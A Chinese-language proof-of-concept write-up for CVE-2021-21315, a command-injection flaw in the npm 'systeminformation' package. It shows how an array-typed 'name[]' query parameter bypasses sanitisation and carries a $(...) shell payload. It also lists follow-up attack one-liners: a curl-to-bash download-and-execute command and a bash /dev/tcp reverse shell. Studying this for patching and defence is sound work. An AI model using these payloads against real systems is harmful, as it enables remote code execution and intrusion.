目录导航
CVE-2021-21315系统信息
这是CVE-2021-21315的概念证明,它影响到Node.JS的系统信息库(npm软件包“ systeminformation”)。npmjs.com/systeminformation
“请务必检查或清理传递给si.inetLatency(),si.inetChecksite(),si.services(),si.processLoad()的服务参数…只允许使用字符串,拒绝任何数组。字符串清理如预期般运作。”
因为它并没有很好地解释漏洞(我认为),所以我决定根据系统信息的漏洞版本编写小型应用程序。PoC包含:
- 使用明确的易受攻击的系统信息测试Node.js中制作的应用
- 简单测试有效负载即可在受影响的计算机上创建.txt文件
漏洞复现步骤:
- 在Linux服务器环境上运行应用程序
- 向site.com/api/getServices?name=nginx发出GET请求(nginx只是示例)

3.现在尝试发送这样的请求:
yoursite.com/api/getServices?name=$(echo -e 'Sekurak' > pwn.txt)

由于字符串清理,这将失败:

4.现在尝试发送请求:
yoursite.com/api/getServices?name[]=$(echo -e 'Sekurak' > pwn.txt)

这次,如果您查看“ name”值,则该值没有被清除-成功 !让我们看看命令是否已执行

成功!我们的命令已执行。当然,没有人关心“ pwn.txt”,但是潜在的攻击者可以:
- 上传内部文件,例如index.js(应用程序的核心,以及潜在的api keys,数据库连接字符串等)或其他文件
- 下载并执行脚本 curl -s http://server/path/script.sh | bash /dev/stdin arg1 arg2
- 反向shell bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
- 终止进程(您也可以终止我们的测试节点应用程序)
- 更邪恶的东西…
“命令注入”听起来很无辜,但是如果满足某些条件,它可能会产生巨大的影响
问题已在“系统信息” Creditis的5.3.1版本中修复为https://www.huntr.dev/users/EffectRenan(他发现了漏洞,但是在我看来,他的“ Poc”没有显示出现实世界的影响)
免责声明
该项目只能用于教育目的。未经事先许可,在目标系统上使用该软件是非法的,并且由于滥用此软件而造成的任何损失不构成作者的责任。
转载请注明出处及链接